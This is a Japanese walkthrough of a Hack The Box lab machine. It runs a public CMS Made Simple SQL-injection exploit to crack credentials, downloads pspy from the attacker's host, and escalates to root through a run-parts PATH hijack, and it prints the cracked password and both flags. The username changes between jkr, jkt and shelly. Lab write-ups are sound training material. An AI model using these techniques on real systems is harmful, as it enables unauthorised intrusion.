【Hack The Box】Writeup Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.138
22(ssh)、80(http)が開いている。
※nmap -p- 10.10.10.138も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
こんな画面。文章を読んでみると、DoSの対策をしていると書かれている。
ディレクトリスキャン
# gobuster dir -u http://10.10.10.138/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100
上述の通りDoSの対策をしているからか、エラーが返されて実行できなかった。
robots.txtの確認
nmap
の結果でrobots.txt
を検出しているので、ここを見に行く。
/writeup/ディレクトリが存在しているようだ。Disallowとなっているが、制御されておらず、アクセスできた。
ソースコードを見てみると、使っているCMSが「CMS Made Simple」だと特定できる。
「CMS Made Simple」のエクスプロイトコード調査
バージョンまでは特定できていなかったが、CMS名で探す。
SQLインジェクションのエクスプロイトコードがあったので、これを持ってくる。
# searchsploit CMS Made Simple # searchsploit -m 46635
user.txt取得まで
python2のvenv上で必要なライブラリをインストールし、使い方を確認。辞書ファイルにはrockyou.txt
を指定して実行した。
./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
ユーザ名:jkr
、パスワード:raykayjay9
をゲット。
この認証情報を使ってsshアクセスし、user.txtの取得完了。
ssh jkt@10.10.10.138
権限昇格のための情報収集(試したこと)
以下を実行した。
sudo -l find / -perm -4000 -type f 2>/dev/null uname -a
sudo
は実行できず、SUID
が設定されているもので権限昇格に使えそうなものはなかったのでuname
で出力されたカーネルのバージョン情報からエクスプロイトコードを探した。
searchsploit linux 4.9
Local Privilege Escalation
というものが2つほどあったが、バージョン違いなどで使えそうにない。
実行プロセスの調査
続いて、ターゲット上で実行されているプロセスを調査するため、pspy
を使う。
32bitOS用と64bitOS用があるが、上記uname
の出力(x86_64)より、64bitであることがわかるので、pspy64
を持ってくる。
攻撃側環境でpython3のSympleHTTPServer
を使って8000ポートで待ち受けて、、、
# python -m SimpleHTTPServer 8000
ターゲットシェル上でwget
を実行。
wget http://10.10.14.11:8000/pspy64
pspy64
を実行。
$ ./pspy64
この状態で別シェルからターゲット端末にssh接続すると、接続の度にsshd:[accesptd]
以下が実行されていることが分かった。
中身を見ていく。sshで接続すると、まず以下が実行されている。
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
env
コマンドに-i
オプションを付与することで、環境変数を継承しない新規の環境を指定している。環境変数PATHを設定した後で、run-parts
コマンドを実行しているようだ。
以下のコマンドより、run-parts
コマンドのパスを調べると、/bin
配下にあることが分かった。
$ which run-parts
ここまでを整理する。
・ssh接続後に実行されるプロセスはUID=0、つまりroot権限で実行されている(pspy
の結果より)。
・run-parts
は/bin
配下にあるため、/usr/local/sbin
や/usr/local/bin
よりも優先度は低い(pspy
の結果より)。
つまり、/usr/local/sbin
や/usr/local/bin
にrun-parts
という名前のファイルを置けば、root権限で任意のコマンドが実行できるかもしれない。
root.txt取得まで
現在のユーザであるshellyが/usr/local/sbin
や/usr/local/bin
に書き込み権限があるのかを確認する。
$ ls -l /usr/local | grep bin $ id
実行結果より、/usr/local/sbin
と/usr/local/bin
はともにstaffグループが所有しており、書き込み権限があるようだ。
また、shellyもstaffグループに所属しているため、このディレクトリに書き込みができる。
そこで、以下のようなシェルスプリプトを「run-parts」という名前で/usr/local/sbin
に配意する。また、忘れずに実行権限も付与しておく。
あとは別シェルで再度ssh接続すると、/usr/local/sbin
に配置した「run-parts」が実行され、/tmp
にroot.txtがコピーされ、終了。
root.txt取得の別解
root.txtのコピーでなく、/dev/tcp/IPアドレス/ポートで通信先指定をするパターンでもrootのシェルが獲得できた。
user.txt:d4e493fd4068afc9eb1aa6a55319f978
root.txt:eeba47f60b48ef92b734f9b6198d7226